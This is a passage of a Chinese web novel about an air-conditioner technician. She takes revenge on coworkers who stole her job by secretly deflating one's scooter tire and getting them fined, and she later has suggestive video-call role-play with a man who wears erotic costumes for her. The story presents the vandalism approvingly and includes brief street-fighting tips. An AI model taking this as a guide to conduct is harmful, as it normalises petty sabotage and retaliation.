上次在经理办公室拍了桌,站点“随机”派发的工单便少了很多。每天一单两单地吊着李尤和杨睿娟。但她们俩一直都有接私活,私活收的比公司标价更便宜,还没有上门费。顾客更愿意通过私人微信联系她们。
李尤只有早上一个公司的单,清洗空调,下午还有个单,是去给一个客户家拆挂式空调,老小区,就在一楼,再给客户换到同小区的另一栋楼,提供给租户使用。拆两百,换装也是两百。最多花费三小时,结账,她和罗清平分。
罗清说不要,李尤坚持给她,罗清还是不要,李尤就不坚持了。
在约定时间,赶到早上的客户家,客户疑惑说:“诶?有个小伙子给我打电话了,他们已经来了。”
李尤满脸问号。
查看小程序上的工单时间和派发员工后,确认是自己没错,再和客户沟通了一下。
客户比较茫然,“我不知道啊,要不叫你同事跟你说一下吧。应该是你们系统出了问题。”
客户开了免提,把话筒交给正在帮她们清洗空调的人。
“尤姐,尤姐,不好意思。我们先到了,你们去赶下一个单子吧。”
李尤听声音认出了是哪位同事,碍于客户在场,这是她们之间的私事。
她不能发火。
一直以来,站点派单都是单人一单或一个小组合共做一单,她和老师是一个组,经常配合着做单。新入职的两个女工就是杨睿娟介绍去的学徒,老师就和她拆开了,带着两个学徒做。
李尤不知道同事是怎么知道她的单主,她在站点还没遇上抢活的事。
李尤挂了电话,第一时间和杨睿娟沟通了,当然她知道肯定是经理搞得鬼,要不然同事怎么会知道客户的号码和预留地址。
经理管的后台系统有账号权限可以查到。
杨睿娟听说完经过,开骂了一两分钟,问候完经理全家,骂完后又冷静说:“先稳住他们吧。过几天你和我去见一下我那个金耀日报的朋友,看是怎么个情况。”
李尤点了头,在小区楼下等,也没走,等抢单那两个同事出来。
罗清眨眨眼看李尤,问:“小尤,我们现在去哪?”
李尤说:“不忙着走。先等等。”
15. 第 15 章
李尤面上没反应,其实心里很生气,她不是忍人,这事没个说法,她一天不舒服。
挺想等那两男的下来,一人一巴掌直接兜脸上,别管,先打了再说。
她做坏事或者在大街上发疯也没什么羞耻感,大不了兜两拳头就载着罗清跑。两男的肯定被她扇懵,反应不过来,追不上她。这点包的。
李尤自初中就和人打架,多的是和男孩子打,她和女孩子矛盾基本没有。
初中混混哥太多了,混混哥在班级会压榨同学们的生存空间,霸凌就像空气,无处不在,只是谁座位宽窄,一个简单的事,都会被混混哥刁难。
被欺负会挨打,反抗也会挨打,横竖都会难受,李尤选择反抗让别人尝尝难受。再说,谁揍谁还不一定,不打一架,都不知道自己潜力有多大。
李尤和一米八的男同学打过好几次,打架这种事,她太有经验了。
个子矮的女生以弱胜强的要点在于打得快,快准狠,第一下就要把比自己强壮的人打懵,打到几秒内没还手之力。如果比自己个子高的人打架,担心出手时,别人有几率还手伤到自己,那么就在发动瞬间,把对方领子揪下,再出手揍懵对方。再不然就借助工具,有什么用什么。
打完架,请家长,得处分,李尤比起其他混混同学也丝毫不怕。
她妈妈李允晴绝对会站在她这边,知道她不会无缘无故出手,而混混哥的家长们,由于是混混,不管三七二十一,都会给请家长的混混哥一飞踢,一耳光。
妈妈是李尤小时候反抗的底气,李允晴会说:“挨处分怕个啥,第一不是我们欺负别人,道德上我们占理,第二你打赢了,他受伤了,学校反而给了处分,那是学校眼瞎判不清理。第三,就算给了处分,又能怎样?有的人猥亵女生照样申博,我看南方周末人家XX公司的老董受贿出狱还上人物访谈,坐过牢,提篮桥进修那在金融圈是深造,看懂世界的规则对我们宝宝在学校的生活和以后社会生活很重要。不过啊,势弱而早慧,家贫而夫美,无权而财多,总要被人惦记。拳头不够硬还是不要出手,当退且退,幸福者退让原则,先摸清敌人性格再针对。我们不惹事,可也不怕事哦。”
久而久之,李尤不怕和人起冲突。有什么矛盾,能当面解决,当场爆发,绝不憋一阵委屈自己。屁大点小事没必要憋屈。除非她需要对方付出更大的代价,而为此蛰伏。
李尤阴狠着眉沉思,这份气,肯定是要今天解决的。
要不把轮胎气放了。
李尤嗤了一声,不觉得手段低劣,惹事的又不是她。她只会觉得这两男的配合狗经理演戏活该。
还“赶快去做下一单吧”。
李尤冷笑,咬着后槽牙,阴森森地发冷。
她叫罗清出小区,去小区门口那红绿灯下等她。
罗清一走,她蹲下身十几秒,真给同事电瓶车轮胎放了气。
钥匙插自己车上,她堂而皇之坐在抢单同事的电瓶车上,一只脚踩着踏板,一只脚放在地面。
她刷了会儿手机。
估摸着同事快出来了,看玻璃内侧,看到人影,她便调出录音,熄屏,抬头,冷脸,眼睛盯着走出来那两位。
看到坐在自己车上的女人,两个男工人表情不太自然。李尤面色不善,直勾勾的抬眼,像厉鬼,说实话,给他们心里吓一跳。
摊上事了。
如果他们是哺乳动物,毛一定炸到直立起来。大抵是出门觅食,没有警觉性地回巢,看到狩猎的猛兽蹲坐在自己家门口的感觉。
咬咬牙,只能硬着头皮上。
“尤姐,你怎么在这?”
“等你们。”李尤的话很简单,手掌撑着车头,慵慵懒懒地皮笑肉不笑,李尤一人递了一根烟,给两男工。
两男工人嘿嘿地干笑,还是把烟抽了起来。
没人开口。
李尤先说:“抢我单。”
“不是,尤姐——”小洋想解释。
李尤不让,直接打断,“我今天只有一单你们也抢?”
两男工神情变幻莫测,之前李尤的单很多,按理说,夏天了,是旺季,手上的单都不会太少。
李尤盖帽子:“都是些老同事了,为了赶业绩这么拼?这儿抢,那儿抢的。那以后哪家做大单,谁还敢喊你们来搭把手?这不大家一天天吼现在没几个单子,吃饭都艰难,这次抢我,下次抢杨师,后几天又去抢刘师王师他们的?为了几个钱,做人这么不厚道?”
刘师和王师是站点的单王。
大猴和小洋面面相觑,说:“我们哪敢。”
“你们不敢,你们敢的很。我也知道,经理单独给你们打电话说的,来做我这单。”
大猴没接嘴,接嘴就代表承认抢单,一旦承认了,在站点里面不光彩,以后多人做改装的大单私活真不会想到他们。而且他们的技术也不算最好。
小洋比较愣,微点了头,看大猴没反应,又把点头的动作停住,观察大猴。
李尤一早就知道这两人一个傻,一个狡。
“没必要。”李尤说,“处事处得这么差,经理为啥不给唐师,不给小向打,安排你们俩来抢我单。脑子不太清晰哦。被人卖了,还以为包包里面还得了钱。经理给你们俩下套还看不出来?我要是说出去,你俩以后在站点以后就单打独斗,才来一年,怕是不晓得站点的老师傅些最讨厌沙啥子样式的人。”
站点的单是靠老师傅撑起来,老师傅在站点工作四五年了,之前也因为业绩多了被扣钱的问题闹过好几次。他们私活比较多,还有渠道接一些装修单子。
大猴愣了,“尤姐,怎么说?”
李尤挑了一下眉,“你先说,是不是经理安排你来抢单?”
大猴只好承认:“是经理安排给我们的,互相体谅一下。我们也没办法。”
“哦。挺乖。”李尤说,“好听经理的话。”
两个男工脸上挂不住,隐隐被骂做狗。
大猴脸色尴尬弹弹烟灰:“没法。他单独打电话给我们,不来又不好,尤姐,这事真不怪我们。”
大猴拿出烟盒,递了只烟给李尤。
李尤收着没抽,故作长叹一声,“唉,都懂。经理他……算了嘛,下次别这样处事了。抢到单了,能有几个钱。我给你们说一句,为什么安排你们来,站点里的老师傅……”
李尤说了下老师傅各自有个群,之前业绩好被扣工资的师傅都在那个群,大家齐心齐
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力维过权,工贼是没得好下场。之前经理还在同事里安插过双面人当间谍,这事闹开,李尤只要一发群里,大猴和小洋便是经理的狗腿,在站点必定不好混了,同事都大不见得工贼和领导的间谍。
还有最近招了些新人进来,新人单价少,老人是顶梁柱,站点人多了,肯定不需要中间的,李尤要是和大猴小洋闹,抢单这种事可以往上面人事举报。李尤的资历还是比大猴和小洋老。
小洋面庞唰地惨白,被经理针对和被同事针对都不好受,特别是他们每次没单,都要回到站点,看看能不能蹭上别人的单,搭个手。
想到同事不待见的眼神,男人对男人最狠,小洋彷佛看到了站点的老同事对他们阴阳怪气,装作偶然的故意肢体推攘,集体抽烟不叫上他们,讨论工资不让他们参与,排斥……
大猴在深思。
李尤拍拍大猴的肩,“我不会说,我给你点到这里,以后这种事还是推着来,别被坑了。”
大猴赶紧说:“谢谢姐。这次我们知道错了,是我们对不住你。改天一定请你吃个饭。”
烟头掉在地上,李尤嗯了一声,心里冷笑,又递给两人一人一只烟。
看两人的烟点上,她说:“没事。都是朋友嘛,能帮就帮,下次别这样了。大家都是同事,做事没必要这么绝。这些都是小钱,有活我还是会喊你们。”
李尤上了车,小洋同大猴说:“尤姐做人还是可以。”
大猴点头,骂:“草,差点被狗经理坑惨了。真是叼他大爷的贱人,害我两头不做好。”
小洋叹口气,“算了。没事,尤姐不会说出去。”当初答应也是怕吃经理的苦,才选择欺负同事,谁知道现在是两头吃苦。
李尤一溜烟儿跑了,骑向小区门口,想找个保安,在路口看到扫垃圾的保洁阿姨骂骂咧咧:“一天天烟头乱丢,不从劈嘴塞到沟子里。”
李尤噗嗤笑出声,问:“小区是不是外来人员在门厅吸烟要罚款。”
她看见了随处装饰的标语。
阿姨口气很不好,冷漠抬眼,“是啊。爪子嘛。眼睛不好,看不到么?到处都写得有牌子。”
“有两个装修工在二栋门口抽烟。”
阿姨眉峰皱得能夹死蚊虫,拿起扫把,一股邪火发动,恨不得刀人似的疾步走去。
大猴和小洋被罚了五十,不给不让走,看着大婶,有点想摔了烟头直接走又怎样,谁知道大婶直接对讲机,叫来四五个保安,不给还真走不了。
给了罚款,大猴和小洋不受待见地被请出小区,大猴在心里骂这些该死的有钱人,有钱住高档小区了不起,今天运气真差,钱没挣多少,气倒是受个不停。
他一骑上电瓶车,旋转把手,冲了过去,没控制力道,后轮胎扁了,连同清洗工具和身后的小洋一道滑倒在地。
大猴一时半会儿爬不起来,电瓶车很重压在腿上,膝盖好像擦破了皮,小洋也一样,捞起裤腿一看,擦出一道道血痕。
小洋委屈说:“猴哥,以后我们还是不干缺德事了。这霉倒的。”
小洋又问:“胎是不是爆了?推去哪里修?”
大猴吼:“你个傻屌,你自己不会百度么?今天真是草了。”
16. 第 16 章
李尤今天下班早,她带着罗清做完两个私单就没活了。
那会儿才下午两点多。
罗清也没事,没说要回家,天有点热,可不怎么想分开。
和谈得来的朋友玩,哪怕只是聊天坐在一块儿就很舒服。
李尤和罗清待在一块儿也很舒服。
罗清性格舒缓,情绪平稳,总是淡淡包容地微笑。每次李尤说话,她会一副认真侧耳倾听的模样,像春风将绿芽包围。
而且她掌握的东西很丰富,李尤脖子不舒服,罗清就告诉李尤怎么按摩经络放松。
和老师碰面那天,老师脖子落枕,右脖子转不过去,一转脖子有股筋刺疼。
罗清在街边找了处躺椅,便叫老师躺上去,脖子下倒在边沿,挂着脖颈五分钟,后慢慢抬起,老师脖子就能向右转动。
很神奇,仅仅五分钟就解决了。
李尤对罗清更加佩服。
李尤和罗清中午吃饭。
罗清在中午吃饭时爱看点时政讲解的视频。饭桌上才两个人,她便没有插耳机听,李尤完全不介意,对她来说,不造成干扰。
温文尔雅的罗清,只有聊到时政才像是点火的炮仗,话多了起来,频频妙语连连开炮。
这点爱好和李尤认识的宋湘也是,宋湘每次和李尤小岳见面,不是聊工作,就是聊到她最近看的国际局势。她对其他事情没有倾述欲,只对工作和宏大叙事着迷,俗称键政。
不过,小岳和李尤都不关注,只能做她发牢骚的听众。
罗清也会同李尤说她的想法:“等我在墨尔本找到租房,安定之后,我就在X站上起号,我看了挺久,没几个讲国际政治的女博主,都是男的。讲经济的博主倒是有几个。不过做国际政治的倒是少,这块我关注好几年了,研究生毕业还想回国考云南X学院,有个老师做脱北者问题,还有个做尼迫尔x运动研究。但我看现在就业形势,还是先找了份工作。”
李尤询问了下脱北者是什么意思,罗清解释了一下,李尤很快就懂了。
“我觉得行。”李尤一边吃米线,一边抽出手给她鼓掌,“你都能把我讲明白。到时候一定要把账号告诉我,我每天去给你留言。”
罗清害羞地点头,很不好意思说:“也不是那个意思。反正先试试做着,也不知道做成什么样,能不能坚持都是个问题。爱好罢了。”
“嗯嗯。”李尤说,“爱好也挺好,你很厉害的。你先试着做,反而效果很好。”
“等会儿我们去哪?我想去逛书店,你去么?”
“可以。”李尤说,“逛完书店再去运动一下?打个球。那会儿太阳也下来了。”
“行啊。到时候你教教我。”
“好。我回趟家拿球。”
两人约好了去X大打篮球,李尤顺带拿了乒乓球,主要是X大的场地到了傍晚很火爆,有些人会甩瓶饮料占场地。
乒乓球场空的多。
霍仪在网上订购了男士旗袍,男仆装,还有猫耳松鼠尾巴到快递点了。
关注的那位擦边主播账号解封后,他发了很多情/趣店铺寄给他的服装,点赞量爆了,平台又给他封禁了。
霍仪看中了其中几件,想穿给李尤看。
他下了单,为了出片,还买了拂晓色的氛围灯,学习某些秀身材男博主的拍照姿势。
不知道李尤喜不喜欢,如果能死死勾住李尤,那便得偿所愿。
霍仪来到学校的快递点。
旗袍和松鼠尾是他前几天忙校外项目的时候订购,做的是市X局的平台应用,他搭框架,留校的几个学生写逻辑,没什么难点,也不用处理高并发,就是流程引擎那块要做成自动化,他得快速改个国外的第三方jar包。
他想着回家晚,快递点都关门了,所以霍仪把地址填到了学校快递站。
时间都是挤出来的,他会趁着去食堂吃晚饭的时间拿快递带回实验室,晚上忙完再带回家拍给李尤。
结果店铺等了三四天才发货,霍仪点了好几次催发,忙完之后,才给他发过来。
他穿过塑胶操场抄近路去快递点,低头想着今晚用什么姿势吸引李尤比较好,路过乒乓球台时,正好一只黄色乒乓球掉落在地上。
霍仪伸手去捡,转身想递给失主时,和李尤的眼睛撞在一块。
霍仪有一刻惊吓到,像受惊的林鹿,瞳孔放大,睁着无辜的眼看李尤。
再来是无处躲藏的慌乱,好糗,他今天穿得很土。因为才从实验室出来,只穿了平时爱穿的一件地摊文化衫T恤。头发也乱,没打理过。
啊啊啊啊,要死了!
霍仪真想抱着脑子尖叫:他用脑一天的皮肤肯定油到反光了。肯定很丑,他在李尤心中美好的形象啊!
平时接触的人多,李尤只觉得霍仪面善。
但很快想起是那个身材火辣的富哥,顺毛的样子比烧包的样子清纯很多,找她做过两单,人大方,送了她两箱澳洲龙虾。
李尤对客户的态度和对普通人的态度不一样,客户需要维护关系。
所以李尤没有冷脸捡走球,但她记得客户,客户不一定认识她,李尤只是微微上浮了下嘴角。
“谢谢了。”李尤拾走乒乓球。
霍仪为李尤的淡笑失神,忘记打了招呼。
李尤很少对他笑,她刚才的笑容难得温柔。
霍仪直起身子,脑子已经短路,没办法进行后续思考,混浊着思维同手同脚,走了一截路。
他身体的命令还是告诉他,需要赶快去快递点拿快递。
霍仪醒过神,停下,回头。
临近饭点,打乒乓球的那台子,围了几个去食堂的看客,好些个手长脚长的女生,看样子是体育生。
霍仪偷偷摸摸找了处地,站在塑胶操场旁的树荫下躲着,偷瞧李尤。
她和她的学徒在打乒乓,她的学徒,霍仪记得,也是位老师,教职高的。
她们俩今天怎么有空来X大打球?
好幸运,又遇见了李尤。
霍仪正想着,要不主动点,装作取了快递,去和李尤说几句话。反正陌生人都可以做看打乒乓的看客,为什么他不可以?
去李尤身边刷脸啊,霍仪!
行动起来!
自己真笨,刚才为什么不说句“好巧呢”,这样就能和李尤攀谈几句了。
这样鼓励着自己,霍仪准备疾步取完快递,装作不在意地重遇李尤,却发现有个抱着篮球的年轻男生从另一侧的塑胶操场奔过来。
这个男生穿着球衣,深蓝色运动短裤,小腿竹子般笔直白洁,一双干净球鞋,头发烫了微卷,染成棕栗色,映衬着葱绿的榕树背景,青春洋溢在他傻笑的脸上,像卷毛的泰迪狗。
霍仪现在很讨厌这种狗,它会抱着人腿莫名其妙顶胯发/情。
年轻男生“装模作样”地单手抱球,小跑。李尤正好没接住球,男生上前搭话,把篮球递给了李尤。
霍仪皱着眉,这男的,想约李尤打球?什么人啊,看不出来李尤正和她朋友玩得开心,现在的小男生这么莽撞又自恋么?跟苍蝇似的烦不烦?
霍仪误会了,男生只是还球给李尤。
李尤叫男生把球随便放地上就行。
男生见周围有几个人,也没好意思要两个女生微信,不过没走,也看着罗清和李尤打乒乓。
霍仪心里不舒服极了,想到初见那晚,李尤和她朋友也是被精神小伙骚扰要微信。
霍仪是男人,太了解男人不过,男的脸皮厚,又好面子,被拒绝了还恼羞成怒。
霍仪走了过去,心想:这男生缠着李尤不放?像话么?
霍仪走过来看球,他人高马大,高出年轻男生半个头,压迫性很强地站在男生身后。
有几个围观李尤打球的女生眼神瞄了他,虽然人长得年轻,但气质成熟,好像学校的老师。
看球的女生散了,到餐点了,假期食堂的菜不多,她们喜欢出校门吃饭。
男生正想上前要微信,霍仪在后面先出声招呼李尤。
他装得别扭极了,故作成人风度,“hi,好巧。没想到在X大遇
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上了,球打得不错。”
李尤不知道霍仪姓名,嗯了一声“是啊”。
李尤问:“你来这边?”
霍仪说:“哦,我在X大上班,我是老师。”
年轻男生一听李尤和老师认识,磨蹭着脚尖想走,心又不甘,至少要个打乒乓厉害那个女生微信吧。
乒乓打得这么厉害,教他几招。
男生绕开李尤去找了罗清,罗清没加微信,礼貌微笑告诉男生:“我微信不加陌生人。”
“那你什么时候还来打乒乓么?下次组一下?”
“不好意思,不常来。”
男生只好走了。
“我可以玩一下么?”霍仪对李尤说,“好久没打了。”
李尤抬头看罗清,罗清说她无所谓,罗清不会打篮球,可乒乓是在少儿俱乐部练过,打到10岁组省决赛亚军,本科在社团薄纱一众校友。
李尤把球拍递给霍仪。
霍仪擦着汗,在罗清手下连输。
李尤站着看,没有打圆场替上去,给霍仪台阶下的意思。
霍仪把球拍重新递给李尤,“打太好了,接不住。”
李尤笑了下,“娱乐嘛。别放在心上。”
霍仪说:“我看你们打吧。”
李尤和罗清又打了会儿,接了个电话,是宋湘下班了,小岳今晚加班,不来吃烧烤。
罗清收了球拍,李尤也是,霍仪讪讪地尴尬说:“那再见。我去拿快递了。”
-
罗清和李尤没有讨论霍仪,就连他少见的外貌和身材都不议论。
不论霍仪出于什么意图,是想套李尤近乎,是想在乒乓台装一波,还是看她们玩也想过一下手瘾。
对罗清来说,都不重要。
李尤也一样。
她们去了烧烤摊子点单,等来了宋湘。
宋湘穿了件火红的针织吊带,喇叭牛仔裤,最近走港风复古,做了大波浪卷发,戴了金属耳环,背了个LV的包,手上是她过年发奖金买的金镯子。
她洋洋洒洒,走路每一缕发丝都带风,好些人会对她瞩目。
宋湘把包一撂,吼:“老板,这桌拿三瓶啤酒。”
罗清和宋湘谈得来,李尤一开始就猜到了,她们俩会很来劲,都喜欢谈建制。
李尤一杯一杯喝着酒,听她们俩从年初聊到年中,从预测大选聊到朝韩,从巴以又跳到日本战后右翼,聊东欧又聊到匈牙利,李尤都不明白这些地域怎么有关联性。
但这次没人骚扰宋湘,就是她们俩高谈阔论时,总有一些吃烧烤的人会对她们注目。好些几桌本来喧闹的人,自觉沉默下来,听宋湘和罗清冲壳子。
李尤抱着手臂,放空耳朵,啤酒瓶摆她面前,她冷着脸,一副不好惹的表情。
她们聊到了11点,还依依不舍,罗清还主动问宋湘,坐哪号线回家,想着去地铁路上还能和宋湘相处一会儿。
宋湘说我开的车来,停在X大里面,你住哪,我叫个代驾送我们回家。
罗清很开心,眯着眼睛笑,还能聊一会儿。
代驾是女生,李尤放心了,她住得近,可以走回家了。
路上接到经常聊天男人的表情,小兔子从地洞里冒头,甩着两只长耳朵。
表情霍仪是有研究过的,第一不能发叮当猫,网上说爱发叮当猫表情的都是gay子,第二不能发可爱猫猫表情,可爱猫猫表情都是渣男爱发。
所以霍仪总给李尤发兔子表情。
李尤打了个问号:?
霍仪总觉得和李尤的对话有些干瘪,他也想和李尤聊些她的爱好,但似乎李尤并不接招。
霍意:【今天累不累?要不要打视频聊天?我买了些好看的衣服,想穿给你看。】
李尤还在大街上走路,夏天,人还是多,总有些人遛狗或者出门吃夜宵。
【不急,等会。】
霍仪看着床上拆好的快递,情/趣用品都喜欢采用粉色的包装盒,他的床单上布满粉色的欢乐。
可是李尤好冷淡。
17. 第 17 章
李尤没有义务对他热情似火。
霍仪明白,但难免会妄想李尤对他的态度有所进展。
李尤除了在打视讯的时候,语气平和一点,其他时间文字和冰锥一样扎心又冷淡。
霍仪只要问李尤的私事,等来的只有屏幕的空白和仅剩他发言的尴尬。
久而久之,霍仪也不会说那些无聊的话,他知道李尤不想谈论她的私事,她只想看他的身子……
李尤这么对他,合情合理。
霍意的身份本来就是男模,李尤谨防男模仙人跳是合理的,谨慎的,就该如此做。
如果随便什么男人都可以通过这种方式博取到李尤的好感和进入到她的生活,霍仪只会忮忌那男的。
还好。
李尤对男模都是一视同仁。
他猜测那个什么小轩也一样吧。
按照李尤的社交尺度,不会让他亲近,挺好的。
霍仪也适当表现出一个男模该有的素质——图钱。他会说一些拉开距离,以便长久和李尤保持关系。
霍仪会问李尤:什么时候来会所点他?
李尤通常回复:【忙。】
霍仪安下心,试探出李尤暂时不会去会所。
霍仪又觉得自己很幸运,会从心脏最深暗的底部长出一点点幼苗似的自豪。是因为他吧,因为他的视讯和福利照,满足了她,所以她不需要去会所了。
李尤还是比较喜欢他,霍仪尽可能地留住李尤。
但也会恐惧李尤的冷淡,会不会有一天看腻了,不需要他去找别人?全网福利哥那么多,经济走低,找不到工作的男大比比皆是,好身材的擦边男愈发多了起来。还有些下班抽空去健身房锻炼,洗完澡发长视频擦边的工薪男?
凭什么是他留住李尤?他有什么远超其他男人胜出的优势么?
【不急,等会。】
往些时间,这个钟点,李尤不会多说,直接视频打过来了。
霍仪望着自己敞开胸膛的真丝睡衣,深蓝色,偏蓝调,会让镜头里的肤感被滤镜算法烘托得更粉嫩。
他想亲自在视频里让李尤看脱上又穿上的效果。
流程他都模拟好了,让李尤选床上摆满的盒子,选到哪只粉色的盒子,他便穿哪件衣服。
但他会告诉她,有些是旗袍,有些是无袖扣掉中间的背心,有些是猫耳狗耳,有些是男仆制服,还有简单的绳索。
随机的选取会制造惊喜,互动性很强。
又有新鲜感和期待感,李尤和他玩像玩抽卡游戏。李尤这次没选上的,下次也会期待选上,这样李尤便期待明天和他的视频了。
期待是进展关系很重要的一环节,霍仪必须为自己加码,让李尤翻他的牌子。
可他准备如此多的好戏,李尤不翻牌。
主动权在李尤手中,霍仪反倒被吊的不上不下,难过得要死。
霍仪忍不住心里的发酸,想:李尤今晚说不定有正事。
有什么事?下午还得空来X大打了球。
她做这行好像三百六十五天不休,白天是体力活,睡眠对她来说很重要。聊了一个多月,她作息一向很规律,到点就睡。
视讯绝不超过十二点。
这么晚有事,难说是临时有了工作事务?
霍仪:【在加班?累不累?我给你点点夜宵好不好?】
霍仪觉得越界,口吻像李尤的男朋友,把点夜宵的字删了。
李尤:【没。】
霍仪已经习惯李尤回的字眼少。
她本来就是寡言的人。
不是工作,那就是和别人玩?女的还是男的?李尤是年轻人,和他三十岁交际圈固定的老男人不一样,年轻人没成家,会经常出去聚会,霍仪是知道的。
如果是男的,霍仪好恨那男的啊,占用了他晚上和李尤的时间,本来是他陪李尤的……长得帅么?那男的?身材怎样?会不会给李尤发果照勾引?骚不骚?
霍仪酸死了,一边不想忮忌,让自己的心态变得丑陋,一边又控制不住好想发癫,变成网上疯狂抓挠的狗狗表情包,抓烂骚男人的狗脸。
可霍仪只敢回:【那要记得我在等你~】
【兔子红眼可怜表情】
【多晚都可以打电话给我哦。】
霍仪浅浅发了张存图,睡衣半露的照片,没露出家具。
看着屏幕上的缩略图,霍仪脑子一抽,又在幻想,他好像李尤过门拿到正牌身份的丈夫。
老婆为人正经,工作忙晚上不回家,他便在卧室穿好睡衣,敞开胸膛,等待老婆回家用身体痴缠老婆,巩固摇摇欲坠的婚姻生活。
有点爽。
因为身份是李尤的丈夫,也因为可以施展自己的身体痴缠李尤。
霍仪又回过神,撇嘴,认清自己的身份。
他真是……每天的手段越来越网/黄了。
倒在床榻上,霍仪关了床头灯,打开氛围灯,有些委屈地盯着屏幕,把头闷闷地埋进被单,希望李尤早点打电话给他。
李尤回家,小岳已经加班回来睡下。
李尤先开了空调,冲凉,洗漱完毕,躺在床上盖上薄被才趴窝着夹住被子,给霍仪打电话。
视讯过去,霍仪隔了一会儿才接通。
李尤有些不满意,因为晾了他几秒的原因。
很讨厌男人跟她使一些小脾气,李尤会阴沉想:因为刚才冷了他吧,反过来,他也想冷一下自己。很讨厌这种小心眼的反抗。
霍仪如果知道李尤这样想他,简直会哭冤枉死了。
他只是在调整盒子和镜头角度,清清嗓子。
接通后,是好看的渐变光晕,蓝色变淡金,拂晓色,霍仪压低声音问:“小尤,你洗漱完了?”
“嗯。刚洗完,”李尤趴着,声音清冷,“今天看什么?”
霍仪不敢问李尤刚才不打电话过来是在做什么,而且李尤并没有给他闲聊的机会,只能直接进入今天的正题。
霍仪倒转了摄像头,拍到被褥上方正礼盒,他确保过视野里不会出现他的床头家具。
有点新意。
李尤问:“这是什么?”
霍仪直说是情趣服装的礼盒,他其实想过叫李尤猜,但又想到
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李尤是控制欲很强盛的人,说出猜猜这两字,不顾李尤的意愿把她推在不确定中,保准让李尤对他降分。
猜什么?李尤有答应和他猜来猜去么?
他最好应对李尤的方式,便是李尤说什么他做什么。
果然直言回答,让李尤轻轻地哂笑,从喉咙里跑出的笑意摩挲在霍仪耳廓,霍仪酥麻了半边身子。
李尤很开心。
他做对了!
“我随便选么?”
“嗯,会换给你看。”霍仪很害羞地说。
“有些什么?”
“有男仆,旗袍和裙子,还有耳朵头饰。”亲口告诉李尤,霍仪羞死了。
李尤问得很宠溺,霍仪产生自己是男友讨好到女友开心了的错觉。
李尤拉长尾音哦了一声,“耳朵呀。那你把耳朵凑过来。”
霍仪眨了眨眼,不知道李尤要做什么,但他下意识拒绝:“不可以看脸。”
李尤:“不看脸。叫你过来就过来。”
霍仪只好翻出随时准备的面具,戴在头顶,藏着脸,把耳朵凑近。
镜头里微微露了下霍仪的下颌,那里有颗小痣。
李尤注意到了,雪白的肌肤长出一点瑕疵,是特色,也有微微惑人的色/情。
霍仪粉红的耳朵贴住镜头后,李尤轻轻骂了句:“骚货。小霍是个骚货。”
一道闪电劈在霍仪颅顶,从心底涌出又痛又爽的耻意,被李尤羞辱,耻感放大到极致。霍仪很快雾了眼睛,好想哭,可这么想哭,电流还是从脊柱蔓延到脚底,再到后脑勺,爽得霍仪的脑神经被羽毛撩拨到有了反应。
霍仪将脸埋在被窝里,鸵鸟般躲了起来,耳朵没离开话筒。
缓了一会儿,
霍仪委屈问李尤:“为什么这样骂我?我只是想讨你开心。”
李尤叼了烟头在嘴里,每次和霍仪聊,李尤都想含住烟头在嘴里咬着,舔着,时间久了,霍仪撩她的次数过多,快成瘾了,有些摧毁嚼碎的翻涌被一双礁石大手压抑进深海里。
“你很介意?”
李尤侵占着。
其实她早想对霍仪说这种话,只是两人的关系不浓不近,见面次数少,还不到说这种话的地步。如果是小轩,李尤在弄他的时候,可以随意说出。
霍仪摇了头:“不介意。”
李尤:“那是什么感觉?说给我听。”
霍仪难以启齿,支吾半天讲了真话:“有点………………爽吧。”
李尤笑了一下,轻蔑的,淡薄的嘲讽,手指戏谑着夹着刃片般刺划过霍仪的心脏。霍仪被一个人如此看轻,却只想把自己裹进棉被里,好想和她靠得更近,窝在她怀里藏起来。
“我是不是很奇怪?”霍仪希望李尤不要介意他这种反应。
“没有啊。我很喜欢。我下次去会所真的会点你。”李尤说了最多的话。
“现在把睡衣脱掉,揭开离你最近的盒子,把东西穿给我看。”
李尤说,
“我只给你60秒的时间,计时了。”
“超过我们会有惩罚。”
18. 第 18 章
打开的盒子是件白色针织衫,霍仪忘了这件衣服是什么时候买的,好像很普通。
李尤不会觉得没劲吧。
霍仪在镜头前捞起衣服,他学了擦.边主播缓慢脱衣,装作衣摆卡住胸膛,倒挂在胸膛之上“失手”展露大片肌肤,或者侧旋躯干,将背部拉宽,腰肢收得窄细,露出饱满背阔肌的招数,没有用上。
李尤说有惩罚,霍仪便很快地行动,没有给他精心表演的机会。
霍仪穿上白色针织长T,才发现内藏乾坤,他是根据封禁主播的点赞量下单,买的衣服绝不会平平无奇。
这些件斜领长T的紧身针织衫,镂空太阳花工艺,斜领使得他露出了一侧宽厚结实的臂膀。
但厉害的不在这个地方,是胸膛前豁开的一条直缝,“不雅观”地展露他饱满硕大的胸肌,由于两侧大臂的衣袖收的紧,是千禧风的喇叭袖,所以霍仪无意识地夹住胸膛,自然地挤出沟壑。
衣服是镂空的,没有性别的性感风格。
唯一的不舒服,是小点挂在镂空的地方卡住了。
可是他没办法用手扶进去,扶进去遮掩的话,李尤反而会被他的手吸引住目光,进而更关注。
他终于知道平台为什么把主播封禁了,如果是他,也会把主播封禁。
自己的妻子看到了这样充斥视觉效力的场面,回家怎么对平平无奇的丈夫产生兴趣?
幸好霍仪学会了。
这样展露自己,蛊惑李尤。
霍仪害臊地侧着脸庞,即便知道李尤无法看穿他的神色,他也没办法直视镜头。
李尤没说话,传来悠长的呼吸。
“你穿给别的女人看过么?”李尤问。
“没有。”男人的声音嘶哑地低沉,像是久旱干涸的井没开过井封。
霍仪是未开封的井,没被别人采撷过。
李尤提醒:“不要穿给别的女生看。”
霍仪不问为什么,听话地嗯了一声。
李尤:“翻下一个盒子。这次我选最左下角。”
霍仪打开是猫耳,布偶的样式,比较传统。
能电动遥控,本来有个按钮,会给女方控制,按下按钮,耳朵便会抖动。
霍仪伸手挡了下镜头,再打开便将背影留给李尤,猫耳夹在他短促而柔软的头发上,他叉开结实有力的腿,将挺翘浑圆的臀部叠坐在大腿上,肩背宽阔有力,霍仪还背起了手,他的手掌很大,交叠着握拳。
而控制猫耳颤动的按钮,霍仪只能勾下头,去咬住按钮。
他背对着李尤塌腰,睡裤绷紧,臀部更加浑圆紧实了。
某些时候,李尤真分不清霍仪是真骚还是装出来蓄意勾引她来着。
李尤:“小霍在装小猫么?”
霍仪不知从何激发出天赋:“小霍没有在装小猫,小霍就是小尤的小猫。”
李尤笑了,一个身材伟岸的熟男向自己卖乖讨巧,她很受用。
不过,摸又摸不到,光是看,挺没劲。
“打开右下角的盒子看看。还是60秒。”
霍仪想说:一天只能开两个。
可是,李尤开口,霍仪又不敢不做。
他苦恼:一晚上就试完了,他明天还拿什么钓李尤。
